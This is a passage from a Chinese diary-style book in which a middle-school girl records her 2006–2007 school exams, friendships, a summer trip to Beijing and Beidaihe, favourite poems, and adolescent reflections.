星期五 晴 后天期末考，我做完作业，怎么也静不下心来复习。《火影》换新版了，感觉不错，还想再看。不过已经九点了，明天得上课。 期中考总分我53，加全我28，三科我34，希望有个突破。定个目标:总分前50，加全前20，三科前20。不过保证有困难。语文125以上，数140以上，英140以上，史生90万岁！政88万岁！地80万岁，哎！要求够低了，望能达到。 2006年1月18日 星期三 晴转雨 考完最后一科，心里仍没什么感觉，只是认为期末考会不太理想。看样子，我语文目标没达到。似乎我需要一种高深的境界，把自己藏起来，可我作不成“木木”。 一个学期在我看来只是一眨眼之间。太快，一点感觉都没有，也记不清到底发生了什么，只是学习，做事。22号领成绩单在上午8点。10点新团员宣誓，可我和小畅的团证、团徽还没领到。外婆60岁得做寿，年前要送（什么意思我也不大明白），定在22号，我不知怎么办？再看！ 倒是作业挺多，不晓得领成绩那天还会加上什么。我觉得自己很奇怪，好像心里什么也没有，可脑子里却一大堆。我想，等到某一天（我觉得那天不远了！），我会对所有向我发出邀请的人说：I＇m so sorry，1 have no time. 1 have to do my homewor 7. 初一（下） 《觉醒日记》全本免费阅读 2006年2月11日 星期六 晴 今天下午领书后，就表明新学期开始了。这个学期的学习任务比上学期重多了，想起来就觉得可怕。 明天早上就得去出黑板报。不知小晨会去几班。我想，他跟我同班好也不好，哎！不想。 这学期我必须更努力，上小科目也得认真听，特别是地理，英语也要加把劲，写作文我也不大指望能赶上木木那水平，她强是无可非议的事，的确天才，只是今天下午没有换位置。 木木变漂亮多了，青春痘消了很多，我表扬她，她硬是要和我拥抱。回来的时候，慧慧让我在奶茶店门口等，可我去找丽丽说个话，回头后就不见她。还好后来遇见丝瓜，要不我又要一个人回家了。估计星期一慧慧又要骂我了，可不知为什么，我非常讨厌在学校门口的小店门口等人或走进小店，我觉得十分别扭，很难受。也许是因为我很少在那些店买东西，然后那些店上的混混又让我不自在的原因吧！反正我就是讨厌，可慧慧偏偏喜欢去那些店买七买八，晕呀！ 今晚在大酒家吃饭，本来一切都挺不错，只可惜三伯母不“赏脸”扫了兴。最后本由三伯做东却全来我家玩，三伯母和贾兴回家了。现在我只要一有机会就拐弯抹角讲重男轻女的人的不是，我讨厌他们。 本来明天去外公家过元宵，可爸妈没空，我也不去了。星期五陪木木买东西，真不理解她，女孩子都喜欢艳丽的东西，只有她喜欢暗色东西。我们信仰和平、纯洁、美好，可她却崇拜什么西特勒，信仰黑暗，想当特工。虽然她有点刻薄，但我还是爱和她玩。她直爽、不扭捏、不造做，人也聪明，可爱、调皮，说话一针见血，给不给你留半点面子，爱打报不平，还和我一样喜欢《哈利·波特》。她还喜欢《达伦·山》，还老推荐我看，想让我也喜欢上。木木看过许多书，所以她文采特好，我很欣赏。只是她的家庭不美满，她还很暴力。别说，我觉得她同桌小白还真是可怜，总之，我就是喜欢和她在一起。（绝非同性恋，只是喜欢她） 我这一组的后边六人特别 friendly，只是我也换同桌，小武也换为平平了。原配的那几天我们特快乐，不过现在也不错。木木和小畅说我上课太认真不和他俩讲话，只有下课，所以我没那么带劲。只有木木，小畅和小白三人管他上课下课都讲个不停。可我也有分寸，我心里知道，我的资质不如他们，他们不听课成绩照样棒。可我不行，我必须努力。不过我还不够用功，so成绩令人不满，那么下学期更得加油了！为了我的成绩和父母的面子及心理，必须让他们放心并且欣慰。 加油了！一定要用功呀！加油！光明不远了！ 2006年2月25日 星期五 阴雨 原来木木向我推荐的《达伦·山》没我想得那么糟，只是我觉得可怕，内容是十分吸引人的。 这个星期天外婆做春。本打算明天补完课回去，没想到傍晚临时通知，明天下午去街上打扫“牛皮纸”，市委可真够可以的，找不到人找学生，有头脑呀！这星期我忙癫了，太过充实，都安排不过来，极度希望一天四十八个小时。“三·八”妈妈去海南，I＇m very happy！海南，令人向往的地方。我的周末作业没怎么动，虽然九点多，累呀！英语现在变得令人恐惧！其实还好。我现在一有空就和雯雯一起走回家，那种猛冲状态，不超过二十五分钟，感觉不是一般的好。慧慧老“抛弃”我和别人走，现在我也不虚她了，渐渐学会独立。 下星期三科都要考，我可得加油了！差点忘了，轮到我演讲了，还得准备一份稿。语文周记又没命题，也不知道该怎么写！哎！作业一大堆，又要回外婆家，去街上义务劳动，补课，还加上小科目，英语，语文，数学已经够我受了。现在英语又要去买什么AB卷。 小王上星期一借走《哈利·波特与混血王子》，星期三下午竟还来了，令我不得不佩服！不过小斐一晚上一本书（还要作业），真让人叫绝。我们几只小书虫呀，日子还算清闲。估计几天后，或明天，情况就不容乐观了。 木木把《泰戈尔诗集》借走了，看她看的，爱的，她老问我哪买的，我哪知道！I＇m so sorry！ Bye-bye！ See you next time！ （I am a good girl） 2006年3月11日 星期五 晴 今天是难得的好天气，阴雨天连继了几个星期，我还是往常一样忙忙碌碌。书我都看得差不多了，看完《达伦·山》真是憾慨万千。 2006年3月19日 星期日 阴 Nine o’clock at night now. 哎！麻烦太多了，真不知从何说起呀！我的副科作业大部分没动，快期中考，明天下午辩论赛，上课了，收作业，生病，难受，睡觉……令人窒息！ 老妈旅游 is very very pleasure！昨天我们也还行！只是老觉得怪怪的，今晚头晕，老集中不了精神。 洗脸，睡觉！ 2006年3月25日 星期六 阴雨 真是有话不知从何说起！？我也不好形容自己现在的心态。有点无奈、变态、忧郁…… 经过一段时间的锤炼，我考了全班第一，不容易呀！我从不奢望自己能考怎样，自己其实有时挺自卑的。认真想想，我有时对人生的感悟也决不逊色于历史上的那些大哲学家。我喜欢通过投硬币来决定事情，可有时又想，如果人生中的许许多多事都用一枚小小的硬币来决定，那人生岂不是显得太平庸，无意义了吗？ 我自己有时候也疯疯颠颠的…… 2006年4月8日 星期六 阴 下个星期二将要进行期中考了，我感到很累…… 2006年4月10日 星期一 雨转晴 明天上午7:50正式开考语文，我心里不怎么好说，我不太想开始复习，倒是非常想看电视，这次我也说不准能考多少，尽力而为吧！ 2006年4月14日 星期五 阴雨 连着几天的大雨，天气冷了许多。期中考在上午已结束，本想问班主任成绩的，后见他心情不好就算了。我倒是很怕这次考试又砸了，可能性还很大。下午放假，现在都三点半了，我浪费了许多时间。哎…… 刚才木木还在和我一起改网名，我的昵称是“向日葵”，150岁，女，□□:63*******，密码为:654321。申请□□那天下小雨，我又没想好，所以就叫“小雨”，今天算是改过来，我的个性鉴名可有趣了:我不是太阳，不能温暖人间；我不是雨露，不能滋润万物，但是，我可以在马克思主义的领导下，奔小康！本来木木还给我搞了个什么“梦什么，一树一菩堤”之类的。她的个性鉴名是“…狂野的少年们”搞不懂，她还帮我加了哈迷群和班群“鼻涕虫班”，创始人是什么糯米团，管理人是:孤独笨猫、长剑飘雪和“…”，同学全不透露真实姓名，最后一个“x”听木木说是一大串看不懂的符号，群规竟是:谁再敢把班群告诉老师，就会被踢出班群……后面好像是比较恶劣的 8. 初一的暑期旅行 《觉醒日记》全本免费阅读 2006年7月14日 星期五 阵雨 许久没有碰日记本了，转眼间七月已过去一半，我的“北京、北戴河之旅”也在今天早上九点结束了。我们分离的是那样匆匆，连“再见”也来不及说一声。我希望因为县城的小，能让大家再次相遇。不晓见面又是何种表现，或许会认为彼此只是陌路人而已，加上时间的冲蚀，哪一天大家会忘记那十一人的旅游情节。我则会把它珍藏在记忆的闪光点上。人生值得回味的东西太多，我这次的旅行也会让我永生难忘。 有太多细节让我觉得美好，若一一记录会是一条长河。下面让我的脑子回忆这七天的点点滴滴。 7月7日 火车上，天气不详。 刚上火车，大家就因争车座闹开了。稳定下来后，我睡在X组下铺。我这组上铺是同队的梁同志，其他队员在后一组，最后三个男生在女生的后一组同睡上、中、下铺。女生很快就互相熟悉。我问领队阿姨为什么不让大伙自我介绍，后来我们各自说了名字就大概这样了。聊了一会儿，发现女生们太无聊，就回到自己铺上。梁同志前面坐在我铺那边，我让他帮我看包。回去后他坐在那儿，我们就聊了起来。他原来也是英语老师上届的学生，后来木木过来一起聊。和男生打牌，具体不记得，晕晕过了一天。晚上三个男生起来喝啤酒。 7月8日 北京：晴 第二天早晨，火车晚点到达北京。第一站去了圆明园，因为南昌来的团等了一个多小时，太赶，取消早餐。在圆明园我感触很深，断壁残垣是中国的耻辱。即使是残渣，都看出它生前的宏大。本是智慧的骄傲，却成为野兽的美餐。复原的模型并没让我感到欣慰，只是觉得那是强大背后的懦弱，掠夺面前的无能。人们在这儿笑着拍照，我笑不出来。在拍照时，我双手摸在残垣上，我在触摸历史，用心默哀。我和木木是连跑带跳参观圆明园的大水法的。在后来走黄花桩时得知，如今的黄花桩迷宫是照原图纸缩小三倍重建的。黄花柱原是皇上和宫女玩捉迷藏的地点，曲折蜿蜒，中间有一座凉亭，我们在迷宫中绕了许久，来到凉亭。有一群亚洲人在凉亭中乐呵呵拍照，我猜是日本人，那丑恶的嘴脸。 吃过饭，参观清华园（7月15日续）：在清华园参观，是由清华大学的学子领队的，记得他身着英格兰球队球服。清华园内首先看到的是一个硕大的游泳池，随后便是朱自清写《荷塘月色》的荷塘了，荷塘内的景色可用苏轼的一句诗来形容：接天莲叶无穷碧，映日荷花别样红。岸边有一座凉亭，上有朱自清亲笔提写的“荷塘月色”四字，可惜由于时间仓促我没看着。另外还有一尊孔子的雕像，是清华学子赠送，要让清华学子不要光顾学理工，文科也应加强。走着走着已觉疲惫了。最后参观了清华第一教学楼、校训和一些学子送来的塑像。我在这附近见到了许多博士。我很后悔没在校训那照一张，对清华园的印象是美吧！那大片大片绿色的草毯，觉得羡慕。本和木木满心欢喜等待下一站去北大，我们确信北大比清华美多了，可坐上车才明白，只是把北大改为清华，并不是增加景点，我很惋惜。 坐车回营地，发现设施很差。合同上的四人一间竟是八人一间。可怕的是别间还有男女共处一室，同用厕所、公共澡堂。我很气愤，看四个男生住那么好，不免发起脾气。其他女生便闹了起来，我点了火，让她们闹，和肖肖散步去了。伙食也很差，她们闹得更凶了。具体我不记得，也不想多写，但后来总部的人脸都吓青了，答应第二天换房，我不想写太多。 刚才取回相片，给木木打电话。得知小杰把个性签名改为“小杰是坚强的”，看来他已知道了真相，愿上帝保佑他。 7月9日北京阴雨转晴 第二天早晨三点半就起床了。我们住在六环，要去市中心看升旗有几小时的路程。我饿坏了，在车上吃了苹果。外面下着雨，好像是在去的路上看见“鸟巢”式场馆的，忘了！反正见着了。到了天安门广场的升旗台，人头攒动。我草草观看四周，五点的升旗也毫无感触。大家饿坏了。梁同志说不舒服，阿姨急坏了。后来乘车去吃饭，男生一个个都蔫了，我们也没什么食欲。但待会儿要爬长城，我勉强吃了，梁同志趴在桌上睡，一点地没吃。（7月16日续）：后来梁同志老半天没上车，文欣又下去陪他。没多久，梁吐了，文欣妹妹彬彬下去叫文欣上来。文欣说他正做准备也得吐。在坐车去长城的路上，文欣真吐了。 下车，天下起了毛毛雨，梁和文欣没体力，不能爬长城，大家为他俩惋惜。跟着领队刚爬一会儿，在一个亭子上停下来，原来是在奥运横幅上签名，我们代梁和文欣也签上了，还有小帆。开始正式登长城，队伍全乱了。长城台阶高，又都沿山脊搭建，往后看，的确可怕。由于下雨，下边全是白茫茫一片。台阶滑，扶栏湿。我心情激动，很快爬到了第一个烽火台，然后和木木冲向第二个。我又蹦又跳，遇到台阶短的还两节一块儿走，十分轻松。木木便不行了，老停下来喝水。我也就理所当然等她了。阿姨不知什么时候，半路追上了我，说爬不动就在这儿等。时间关系只能爬三个烽火台，要小心，见到男生转告一下。在离第二个烽火台不远处，我赶上了男生，转告他们，并问：“小杰、大黄，你们爬第三个烽火台吗？”大黄说：“再爬十个也没问题！”小杰笑我，说别爬了，爬不动的。我说和他比赛。 我还是沿路等木木，气也有点喘不上来了，憋得慌，但速度仍在加快。等爬上了第三个烽火后，成就感由然而生。肖肖和若若说也追上了我们。本想登上这儿的六人合影，可男生跑了。我追上去，扔给他们一包纸巾，又登上烽火台顶，那台阶又高又陡，我在那遇见外国人，有人和他照相。肖肖和我也想和他拍。我们扭捏了一会儿，走向前用“Hello！”互相打起招呼。我让肖肖告诉他我们想和他拍照。我明明会，可太紧张一时慌乱，只说了“Could you”肖肖就说完了。木木say“ And me？”那人答应了，哦！差点忘了，肖肖说完:“ Hello！”问了:“ where are you from？”那人答“I am from Canada！”可他说太快，口音又浓重，我没听懂，木木还听成了阿根廷。 （7月18日续）:我们合照了，我说:“ Thank you very much！Good-bye！”互相告别。我们下了烽火台，在返回途中，我的腿在打抖，木木却体力旺盛，冲在前面，后来还是追上了两个男生，让我们县登上第三个烽火台的团员合照，分别为:木木，若若、肖肖、小杰、大黄，我。下去时，我手扶拦杆，速度很慢，不敢看，实在是太高了。在第一个烽火台与大叶、大吴、彬彬会合，我的速度又加快了。下了长城，大家去了纪念品部，我什么也没买就去等车了。遇见梁和文欣，梁说:“男生刚进去！”我没反应过来，刚想走，哦！原来那是男厕所。在车上，我和木木一直很激动。 中午还是在早晨吃饭的地方吃。记得早饭是超稀稀饭，一个馒头，一个蛋，几盘咸菜。中午伙食不错，具体忘了。团里考虑上午爬长城体力消耗太大，若下午再走故宫是吃不消的，便改去科技馆。 又是乘车。在科技馆门口等了一会儿，就开始参观了。科技馆好像是共五幢，我们只参观一幢。从四楼开始，好像是1:45～4:30。原本和木木走在一起，后来走散了。四楼是古代原始的一些事物，什么造字，纺织……下面三楼全是科技方面的。由于时间问题，我没有细看，粗略、肤浅地浏览了一下。我很羡慕北京的孩子，有这么大的地方可以学习知识，还可以亲手实践走完一遍。我腿也软了，于是，出去与大家汇合。大家在纪念品部买了许多东西，我也去转了一圈，发现没有要买的，小杰花了六十八元买了一个福娃，大吴买了“九连环”，大叶买了历代钱币模型……照例乘车，吃饭，抢澡堂，洗衣服，睡觉！ 7月10月北京（晴）北戴河晴 上午一大早醒来收拾行李，迁往北戴河。（7月19日续）：上午全把时间用在了坐车上。沿途除了平原就是树，还有每隔几十米的一株向日葵。我们住在一所私人学校。下车后，在操场等待分配住房，小杰和彬彬闹了一阵。分房准备吃饭，小杰发现手机没了，大家都十分着急，随便吃了些，小杰哭了。下午先是去了怪楼，环境挺好。但怪楼不大好玩，几片镜子，许多通道而已，我就简单带过，却浪费了不少时间。 接下去是去海边，令人大失所望。涨潮了，海滩很小，海水也脏，人烟稀少。我仍兴致较高地玩。海浪打来，把我的衣服、裤子弄湿了。（17月20日）续：开头一味地想往下走，可海浪打得老高，只好退回。看文欣、大黄、小杰踢海洋球，梁同志和肖肖站在沙滩上。肖肖好像玩了一会儿，梁同志一步不动站在那儿守包，他说无聊。我和木木又下去，若若教我们如何捡贝壳：海浪一来，弯下身子捧一捧冲来的沙石，那样手中就有许多小贝壳了。没什么人能捡到大的，小杰也来一起捡。其余人除了阿姨和梁同志都在买工艺品，我们凑上去看。木木老问卖主十五元的大贝壳一块五卖不，一元一串的项琏，一毛卖不……后来我继续捡贝壳，每捡几个就上去叫肖肖保管。有一次，我直起腰来，觉得嘴里有血的咸味，吓死了，忙把手伸到上颚，拿出来发现没事。我忽然想到妈妈说，海水又咸又涩。我用手指蘸了一点，尝了，才明白那是海水冲进嘴里了。 因为捡贝壳要迎着海浪，我的上衣湿了上半截，裤子只剩上一小截没湿。我上岸休息一下，梁同志见到我，说：“你要小心点，湿了会透出来的。”我说了声：“多谢！”不过，我觉得衣服不会透明呀！我每次想上岸让衣服晾干一些，可忍不住贪玩，上岸一会儿又下水了。最后得回营地了。我们徒步走，脚上全是沙子，所以没有穿鞋，可走一半就不行。还是乖乖穿上了鞋，吃过饭，得知八点半要举行篝火晚会。 回营地后就洗了澡，大家正轮流洗衣服。阿姨说要出节目，若若说把蚊帐拆下来绑在床头晾衣服，然后想节目：说笑话，叫木木念诗都想过。阿姨说男生、女生各一个节目，后来说成了共一个节目。她把男生叫来，我们想了一个短剧，男生见我们笑便走了。阿姨生气了，说什么给我们省丢脸，又什么摄相没我们。我们又硬头皮跑到男生那商量，什么合唱国歌。时间要到了，大家边下楼边讨论。我认为无聊透顶。跑到下面，什么篝火，就是在操场中间烧一堆火罢了。最后彬彬同意上去唱歌。大家傻瓜似的围着火堆手拉手，先由常导带头唱《让我们荡起双桨》，后来有人唱《曹操》，又有人跳舞，彬彬不知为什么没上场。还表扬了两个拾金不味的。反正晚会不好玩，全团懒懒散散，没什么人愿意上。我比较讨厌，认为浪费宝贵睡觉时间，不欢而散。 回宿舍躺下，又是我先睡。结果由于拿蚊帐晾衣服，被查房妇女大骂，若若跟她吵了几句，彬彬骂了：“old woman！”我无心理会，睡觉。她们把蚊帐收了回去，我拿回一条裤子。那天晚上很不爽。 7月11日北戴河晴北京晴 原定早上看日出，由于什么阴天，看不成，可以睡到六点。又得收拾行李大搬家了。 吃过早饭，去什么海边拾贝。我后悔穿凉鞋，进了一脚沙子。我到了海边，海水退潮，海滩变得非常宽阔，有一个一个小水洼。我和木木走很远，借文欣的铲子挖了一会儿。太阳出来 9. 初二 《觉醒日记》全本免费阅读 2006年12月10日 星期日 晴 穿越千年，我却回到原地。徘徊许久，我原来在这里。流逝的年华如东流的水，我仰望那高挂的月，我的心在哪里？想回到过去，岁月那么无情。多想说，却无人傍听，我只能一个人躲在角落里…… 2007年1月3日 星期三 阴雨 不觉一年又过去，回想昨天我还在06年欢笑。我已经15岁了，成为花季少女，迈入不同的人生。感受更多，收获更多。过去的一年，我懂得了很多，是那样匆匆。06年的晚上我还在偷吃爆米花。这一切的一切多么熟悉，却不是当年了。 希望这年我会更好！绽放美丽光彩！ 2007年1月7日 星期日 晴 我不断反思，自己到底每天干了什么？用了多少精力学习？今天真的要觉悟了！ 2007年2月15日 星期四 阴雨 不知多久没写日记了，发生了太多的事，从J到期末考、搬家、买电脑…… 细节我并不想写下，也不知该写什么。作业超多没做，也不知自己每天在想什么。什么都不想干，那倒不如死了好。我觉得凡事要看淡，自己却又不免计较。因为我的未来掌握在自己手里。 跟父母好像心存隔膜，有时觉得母亲啰嗦、父亲固执，或许是我错了。从J到买电脑都错了。《武林外传》片头曲:这世界有太多不如意，可生活还是要继续，太阳依旧每天都升起……妈妈常说:一个人连活的勇气都没有，他还能做什么。我很同意这个观点，可我发现自己荒废了太多，做成的太少，青春就这么几年，想什么就做什么吧！可是若这样，我的未来会是一滩死水。我知道自己该怎么做，可不知为什么总做不下去。我拥有的多，可缺少的也太多了。 我甚至不知道自己想要什么。世上的一切似乎换个角度都是那么美好，可罪恶却总是免不了。家族的纷争，人心的欲望，过多的纯洁，在这个花花绿绿的世界里混为一谈，没有人分清绝对的对与错。只是每个人都被这弄昏了，麻木了，只是对未来充满幻想。那个幻想中没有斗争、销烟、世俗的美好世界。 在别人眼里，我竟沦为“无知”。是知识的贫乏造就了“无知”的我。我想改变，却怯懦，那是人内心的呼喊。我在哪？坠入深渊。自拔？我不知何为自拔？更别提怎么个无法？我的青春就如此颓废。我不甘愿，因为我不要有遗憾。 剩下的留给时间去深思吧！我累了…… 2007年3月29日 星期日 晴 How time flies！英语决赛（地区赛区）就要来临。这一切都在飞逝。 我今天回来在想关于“缘”。在这个世界上，我应该善待每一个人。因为与我同在的人们都是“缘”。世界如此之大，能见上一面，即使只从身边过，就是“缘”。 我在想，我与李白，爱因斯坦相差了几个世纪，但我们都曾存在这个世界，多么奇妙！似乎再没有道理去伤害别人了，尤其是与我相知相识的人。父母、同学、朋友、老师！似乎我应该每天都为“缘”给他们一个甜美的微笑。 每人的存在，都有他的理由，没必要去干涉，去改变，让他们走在自己的路上，独享属于自己的人生吧！ 或许我像一个哲学家，更像一个爱幻想的女孩，但至少我在证明我的存在。在这个花花绿绿的世界里，我在怀疑是否能找到自己，对那一幕幕的遗忘与记忆，我在脱变。是进化还是腐朽，似乎这该交给常虚·小吧！ 这一生，只一次，珍惜我的每一天，为自己在呼吸、在学习、有亲情与友情，高举那自由之手，抬头挺胸大踏步地向前走！ 2007年4月15日 星期日 晴 明个儿是我的农历生日，我充满期待，后天考试开始，我还什么都没复习。 不在沉默中爆发就在沉默中死亡。 我有一个梦想，不论多渺茫，或许他还在沉睡，然而我已梦醒。 2007年5月21日 星期一 多云 今日，吾意已决。既做不成小女子，何不潇洒当一回大丈夫。运筹帷缠，怡笑大方，以治天下，天下兴盛哉！人民悦哉！心怀天下，志存高远！ 2007年5月23日 星期三 多云 迎着温柔的风，双眸暗藏着微笑。试问，是谁抛却爱与恨写下那经典的诗。瞬间的灵感在笔尖跳跃。 “我们偶然相遇，不曾留下痕迹。” “来路已断去路已绝，为谁而死为谁醉卧草原？” 远处和一道光，我知道那是我的梦想。回望，身后是一串串或深或浅的足迹。一路走来，我曾一度迷茫，然而现在，我望见了梦想的光。平静心情，坚定地向前迈出新的一步，我知道，那道光与我只差一步。 2007年7年月3日 星期三 多云 站在地球之颠，凌驾于宇宙之上，吟一首鬼马狂诗。 2007年5月27日 星期日 雨 自古人生几多情，将亲情记在心里，将爱情刻在身上，我想该把友情高举过头。 2007年5月31日 星期四 阵雨 人生仿佛一片惨白，即使努力也开不出灿烂的玫瑰。因为生来就只是小白菊的种子，这辈子，只这辈子，做一朵小白菊。 “六·一”时光飞逝，没留时间让我感叹，“这最后一个有理由撒娇的路口”。告别童年，回首，后悔？我的人生不会遗憾。我喜欢自我安慰。试问我干过多少漂亮的仗？干过什么不让自己后悔？那曾经的辉煌随时光流逝在人间蒸发，被人忘却，只有年迈的英雄在诉说当年的英勇（也只有他自己记得），却没人爱听，青年在展望未来。我的童年玩过了，那我的青春呢？花季！青涩！纯洁！我想从来！一切都是我的错。 我又在浪费时间悲叹！等我叹完，时间又过去了，或许我有一天就死了，这一生，只这一生，到底有多久？太短太短吧！只有几秒，被压缩成空气，放在被遗忘历史的角落。 我对未来充满期待，却沉浸于美好幻想忘记现在努力，那剩下的就只能有期待，那是空的，白的，一生却忘记填补。 听秒针在笑在跑，眼皮在打闹，想睡觉。看夜空，是否在地球或宇宙的那一头有人在陪我奋斗？我并不孤独，有人与我并肩作战，不知那是不是我的影子，和你在一起我努力？我快乐！ 喝牛奶都有时间的味道，剥香蕉想到练琴，上厕所想要写作业，永远充满古怪的想法，一会风，一会雨，我在变？世界依旧！我想改变的是与时间的距离，它永远乘火箭在飞，每几秒更新一次，换个速度更快的型号，我在后头傻追傻追，等哪天累了，不想追了，或许老了，或许死了，失去了生命的活力，至少我现在还年轻，有精力和它耗。人和时间比总输，所以时间是个骗子，那些说一定可以超过时间的就是自我安慰的傻子。干脆现实一点，追是追不上的，但我们努力，不和时间比，和别人比，和自己的过去比。< 10. 初二暑假 《觉醒日记》全本免费阅读 2007年6月29日 星期五 晴 昨天下午在翘翘家我觉得自己找回了童年的感觉。芭比娃娃，小女生的梦想。柳叶眉、大眼睛，又长又亮的秀发，性感的嘴唇，健康的棕色皮肤，阳光、气质。我拿起碎布对她缝了一套裙子。翘翘拿出一块缝了一半的棉布，里头还有棉花。翘翘说她记得很清楚我说要给芭比做棉裤，结果做了一半就回家了。 我用蓝色的绸布做了一件上衣，袖子翘翘的，另一边是一个活结，一边是弧形，另一边有皱折和结带。裙子就是一块布打个结再修饰一下了。我用一条断皮筋（蓝色），随意缝了一个结，在衣服装饰，可以任意旋转，反正很可爱，我觉得像回到了小时候。 后来去小迪楼上还书，竟感到莫名的尴尬，我们的友谊还在吗？我这次去旅游一定要给她带礼物了。 今天早上看驻港部队，反正就是感人啰！ 2007年7月16日 星期一 阴雨 十号旅游回来好像没感觉，也不想写什么回忆录了。 打算以自己为小说摹本写点东西吧！ 题目:目前没想好 主人公真真:乖乖牌、班长、性格瞬息万变（具体的看书中内容不就可以知道）写那么多麻烦 木木:见人说人话，见鬼说鬼话 and so on 今日语录: 真:我认为我们可以写小说（在前几天叶问我有没有写小说的念头，我告诉他早开始了）从几千前年前开始，我都写完好几部了。 木木:五年级就开始计划投稿，连稿费怎么花都想好了。（用稿费环游地球） 真:我们真的可以写啦！幼儿读物，五岁以下几童每日小故事（365夜），从此声名远扬，成为所有婴幼儿及其家长耳熟能详的偶像级巨星。 木木:鼓励一下我吧！我又不想做作业了。 真:你的前途光明，努力吧！为你美好的未来。 木木:真想打一枚兴奋剂，我每天都想睡，今天早上睡到11点半。 真:谈淡前途黯淡的小叶吧！他比我们落后了几年之后，在大家嫌弃T恤太热的时候，他仍连执着地穿着两件。 木木:他是搞学问的人，那叫不拘小节，把他号码给我，他无比崇拜的天才要给他一些指导。 真:你应该说，叶同学，对你的理想，我在精神上支持你，其他的就要靠你自己努力了，哦！木木，有一件事我一直不理解。 木木:让天才为您解答。 真:美国悬赏5000万捉拿本拉·丹，为什么是“本拉·丹”不是“本拉·登”？ 木木:翻译问题！～～～～ 真:有一个网友加我，快笑爆掉。 木木:加你的网友多了，没兴趣！ 真:你听一下啦！我问你是谁？我认识吗？他说“我是我！”我说:“哦！我认识你吗？”他说“你猜！”中间无聊的话跳过～～我说“你是不是”他说！你知道我是谁了？”我说:“不知道，我是想说你是不是有问题！” 木木:你比我狠，顶多别人说“你好！”我回一个“好””，再不论他说什么，我都“哦！”最后无语，就踢了！ 2007年7月19日 星期四 晴 我可爱的脚在今天早锻炼的时候，被喜爱我血型的蚊子和小黑虫之流瓜分，有点惨不忍睹。 题目:不愧为“留连”的“榴莲” 主人公:妈妈 爸爸 真真 今日语录:昨天晚上爸爸和妈妈买了荔枝、梨瓜、榴莲。本来榴莲是我向往的水果，可是，在我挖开来闻过之后就无比想吐了。吃着味道不错，像奶油，可是奇臭无比，我捏着鼻子吃了几口后就不想吃，可我爸说有营养。 今天 妈:我今天把那榴莲吃了。 真:妈，您确定吗？ 妈:你们不是不愿意吃吗？ 真:哦！那我有意愿写入“今日语录”。 妈:那你写吧！ 真:好，那我回房间写，要扇电风扇。 2007年7月21日 星期六 晴 我后悔了，彻彻底底后悔了。明知道那碗饭最后是一定得吃掉的，却伤了父亲的心，还把自己弄得不愉快，哎！每天都说要发奋了，到头却发现自己什么都没有做，什么时候可以改过来呢？永远不能吧！看样子。没詹和他的日子，现在要开始了，振做起来！下学期一定让你们刮目相看呢？ 2007年7月27日 星期五 晴 下面几首真是好诗！ 雨巷 戴望舒 撑着油纸伞，独自 彷徨在悠长、悠长 又寂寥的雨巷， 我希望逢着 一个丁香一样地 结着愁怨的姑娘。 她是有 丁香一样的颜色， 丁香一样的芬芳， 丁香一样的忧愁， 在雨中哀怨， 哀怨又彷徨； 她彷徨在这寂寥的雨巷， 撑着油纸伞， 像我一样， 像我一样地 默默彳亍着， 冷漠、凄清，又惆怅。 她默默地走近， 走近，又投出 太息一般的眼光 她飘过 像梦一般地， 像梦一般地凄婉迷茫。 像梦中飘过 一枝丁香地， 我身旁飘过这个女郎； 她默默地远了，远了， 到了颓圮的篱墙， 走尽这雨巷。 在雨的哀曲里， 消了她的颜色， 散了她的芬芳， 消散了，甚至她的 太息般的惆怅。 撑着油纸伞，独自 彷徨在悠长、悠长 又寂寥的雨巷， 我希望飘过 一个丁香一样地 结着愁怨的姑娘。 错误 我打江南走过 那等在季节里的容颜如莲花的开落 东风不来，三月的柳絮不飞 你的心如小小的寂寞的城 恰若青石的街道向晚 跫音不响，三月的春帷不揭 你的心是小小的窗扉紧掩 我达达的马蹄是美丽的错误 我不是归人，是个过客 2007年8月3日 星期五 阴 又有好久没写日记了。爸爸妈妈出差的第二天了。 今日语录: 傍晚从王玲阿姨家出来直奔公园。在山上 真:小水…… 廖老师:你们躲在这里！ 真:廖老师好！ 丽丽及小水:廖老师好！ 真:廖老师再见！ 跳过跳过…… 小水:这扶栏很不稳。 真:本来是很稳的，因为——后面就不用我了。 小水:你要说被我靠下就不稳了。 真:默契！ 丽丽：小水~ 小水:贾含真！我有想打你的冲动！ 真.:冲动是魔鬼！ 丽丽:人在江湖飘呀！哪能不挨刀呀！（加上动作） 真:先闪了！我要把这句“我有想打你的冲动”记在《小水语录》上！ 丽丽:《丽丽语录》里也会记下这句话的。 真:那将成为2008年最畅销书籍的！ 小 11. 初三 《觉醒日记》全本免费阅读 2007年8月30日 星期四 阵雨 又是凌晨。明天就要开学，我盼望已久的日子。 我对父亲很是失望，他现在不回家吃饭，回来也很晚。看得出母亲不高兴，难道雄性一定这样？看来我要对爱情彻底绝望了。 今天上线仍旧为《网球王子》。真人版太逊了。不仅人长得丑，而且让人不爽。我家不二变成那样。除手冢勉强接受外，龙马只是演员不错，但完全没有龙马哪种气质。哎，现实就是没有动画片那么完美呀！ 就要开学了。转眼间就成为了初三的学生，在学习上要加把劲了。不为新加坡也为前段前十五名奋斗呀！ 日子给我的感觉是正常一点啦？不过怎么还是少点什么。英语老师的归来应该会让我更加努力吧！不知道自己什么时候就变成了这样，所谓之“顺其自然”就一定是好事吗？我看不见得吧！反正现在我就是这样了，一时也改不了什么，将就过吧！ 新的学期新的感受。成绩、内涵、气质都应该得到进一步的提升！为明天、未来努力。我不要再做夸下海口却什么都做不了，做不到的贾含真，那个小小的八（1）班长，现在要做全新九（1）班班长，而且是“全好”型的。让我、父母、老师满意才可以。还有一点很重要，第一名既然当上了，就没有那么容易下来的。三剑客虽是好友，但也是对手。也别忘了，在“□□”中，我一定要是No.1。小心J，我要上了！ Keep trying! Of course, you still have lots more to work on! 2007年9月2日 星期日 有阵雨 The new tern has came, but I stil feel so bored. I don＇t know what I should do. I had finished all the homework, the TV programs let me want to sleep, theputer is also simple and it＇s bad for my eyes.I had saw all Prince of Tennis, I think these prince are perfect， but they aren’t truth，I feel a little disapointed. Get exciting! But the school and classes really let me feel more excited. I like nervous sense because I like beating others or can say that I like enjoying the sucessful sense. What＇s more， if I fail， I will be happy too. Because I try， I fight. How time flies! I＇m l4 years old nowadays, I lose my childhood, but I＇m glad to be a teenager. Remember! I have a dream，it needs my sweat. I know, I will be happier. 虽然，现在完成时还没学，但先用一用也不错呀！xixi！ 日文发音:mada ma da da nie！（拼音） You still have lots more to work on！ 2007年9月22日 星期六 阴 I feel very bad now. I am angry or worry. Mid-autumn Festival ising, that means family should get together. But, I don’t attention the relation any longer, I don＇t know why. I even hate it sometimes. Mother 